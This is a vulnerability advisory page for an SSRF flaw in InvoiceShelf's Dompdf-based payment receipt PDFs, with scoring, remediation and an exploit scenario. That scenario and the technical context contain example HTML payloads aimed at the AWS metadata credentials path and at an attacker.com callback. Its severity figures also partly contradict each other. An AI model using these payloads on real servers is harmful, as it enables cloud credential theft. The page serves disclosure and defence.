Skip to main content

Invoiceshelf CVE-2026-34366

| EUVDEUVD-2026-17616 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-03-31 GitHub_M
8.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as admin user
  2. Delivery
    Insert malicious HTML in payment Notes field
  3. Exploit
    Trigger PDF receipt generation
  4. Execution
    Dompdf fetches attacker-controlled remote resource
  5. Impact
    Exfiltrate internal network data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires high-privilege authenticated access to InvoiceShelf versions prior to 2.2.0. Attacker with admin/user role must access the Payment receipt PDF generation endpoint and inject malicious HTML in the payment Notes field to trigger SSRF via Dompdf resource fetching.

Impact

Real-world risk is moderate despite the 7.6 CVSS score due to the high privilege requirement (PR:H). The CVSS vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C indicates network-accessible attack with low complexity, but requires high-level authentication (typically administrator or finance manager roles with payment management permissions). The cross-scope impact (S:C) and high confidentiality impact (C:H) are significant - authenticated attackers can probe internal network topology, access cloud metadata services (AWS IMDSv1, Azure IMDS), or exfiltrate sensitive data via DNS tunneling or HTTP callbacks. However, the PR:H constraint substantially limits the attack surface compared to unauthenticated or low-privilege vulnerabilities. No public exploit identified at time of analysis, and absence from CISA KEV indicates no confirmed active exploitation campaigns. SSVC assessment suggests monitoring priority rather than immediate emergency response for most organizations: exploitation requires insider threat or compromised high-privilege credentials, technical impact is partial (information disclosure primarily), and automatable exploitation is limited by authentication barriers. Organizations with privileged users accessing InvoiceShelf from untrusted networks or with weak account security should prioritize patching.

Exploit ScenarioDerived

An attacker with compromised administrator credentials (or malicious insider with finance manager role) logs into InvoiceShelf and creates a payment record. In the payment Notes field, they inject HTML markup: <img src='http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name' style='display:none'>. When generating the PDF receipt via the application's download endpoint, the server's Dompdf instance attempts to fetch the referenced image URL, causing an HTTP request to the AWS metadata service from the server's security context. The attacker captures the IAM credentials either by monitoring DNS queries to attacker-controlled nameservers or by referencing an external image URL (http://attacker.com/capture) that logs incoming requests with Referer headers or timing side-channels. With high privileges required, exploitation likelihood is lower than unauthenticated SSRF, but impact includes cloud credential theft, internal network reconnaissance, and potential lateral movement to backend databases or admin panels not exposed to external networks.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 31, 2026

Server-Side Request Forgery in InvoiceShelf's PDF payment receipt generation allows authenticated high-privilege users to make arbitrary HTTP requests from the server through unsanitized HTML injection in payment Notes fields. The vulnerability affects InvoiceShelf versions prior to 2.2.0, leveraging the Dompdf library's resource fetching behavior to pivot attacks against internal network resources or exfiltrate data via DNS/HTTP channels. CVSS 7.6 reflects network-accessible attack with low complexity but high privileges required and cross-scope impact. No public exploit identified at time of analysis, with EPSS data unavailable for this recent CVE. Vendor-released patch available in version 2.2.0 per GitHub security advisory.

RemediationAI

Upgrade to InvoiceShelf version 2.2.0 immediately, which includes patches addressing the unsafe HTML handling in PDF generation. The fixed release is available at https://github.com/InvoiceShelf/InvoiceShelf/releases/tag/2.2.0. Organizations unable to upgrade immediately should implement compensating controls: restrict payment Notes field input to plaintext only through application-layer validation, deploy network egress filtering to prevent the InvoiceShelf server from initiating outbound HTTP/HTTPS connections to untrusted destinations, audit high-privilege user accounts with payment management permissions for signs of compromise, and monitor server-side HTTP request logs for unusual internal network scanning or external callback patterns. For containerized deployments, apply network policies limiting pod egress to necessary services only. Review Dompdf configuration to disable remote resource loading if the library version supports this option, though upgrading InvoiceShelf remains the primary remediation path.

Affected VersionsENISA

InvoiceShelf < 2.2.0

Affected Packages

euvd invoiceshelf fix: 2.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

InvoiceShelf is an open-source invoicing and expense tracking application (identified by CPE cpe:2.3:a:invoiceshelf:invoiceshelf). The vulnerability stems from CWE-918 (Server-Side Request Forgery) in the payment receipt PDF generation workflow. User-controlled HTML content entered into payment Notes fields is passed without sanitization to the Dompdf PHP library, which is designed to convert HTML/CSS to PDF. Dompdf's default configuration allows fetching external resources (images, stylesheets, fonts) referenced via URLs in the HTML markup. Attackers can inject malicious HTML tags like <img src='http://internal-server/admin'> or <link href='http://attacker.com/?data=X'> to force the server to initiate HTTP requests to arbitrary destinations. The CVSS scope change (S:C) indicates the vulnerable component (Dompdf rendering context) can impact resources beyond its security boundary, enabling attacks against internal services not directly exposed to the attacker. The vulnerability is directly exploitable through the PDF receipt generation endpoint, independent of email automation features, suggesting multiple code paths trigger the unsafe rendering.

Know when Invoiceshelf gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

4
CVSS changed
Jul 24, 2026 - 20:22 NVD
7.6 (HIGH) 8.1 (HIGH)
Analysis Updated
Apr 16, 2026 - 06:10 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
2.2.0
CVE Published
Mar 31, 2026 - 20:05 nvd
HIGH 7.6

DescriptionNVD

InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.2.0, a Server-Side Request Forgery (SSRF) vulnerability exists in the Payment receipt PDF generation module. User-supplied HTML in the payment Notes field is passed unsanitised to the Dompdf rendering library, which will fetch any remote resources referenced in the markup. The vulnerability is exploitable directly via the PDF receipt endpoint, regardless of whether automated email attachments are enabled. This issue has been patched in version 2.2.0.

Executive ViewAI

Why It Matters

InvoiceShelf versions prior to 2.2.0 contain a server-side request forgery vulnerability in PDF receipt generation that allows authenticated high-privilege users to make arbitrary HTTP requests from your server, potentially exposing internal network resources or enabling data exfiltration. This poses a significant risk to organizations using InvoiceShelf where administrative or privileged accounting staff could be compromised or act maliciously. Immediate patching to version 2.2.0 is required to eliminate this attack vector.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not feasible, restrict PDF receipt generation functionality to non-administrative users, implement network segmentation to limit internal resource access from application servers, and disable or restrict payment Notes field data entry until version 2.2.0 is deployed.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy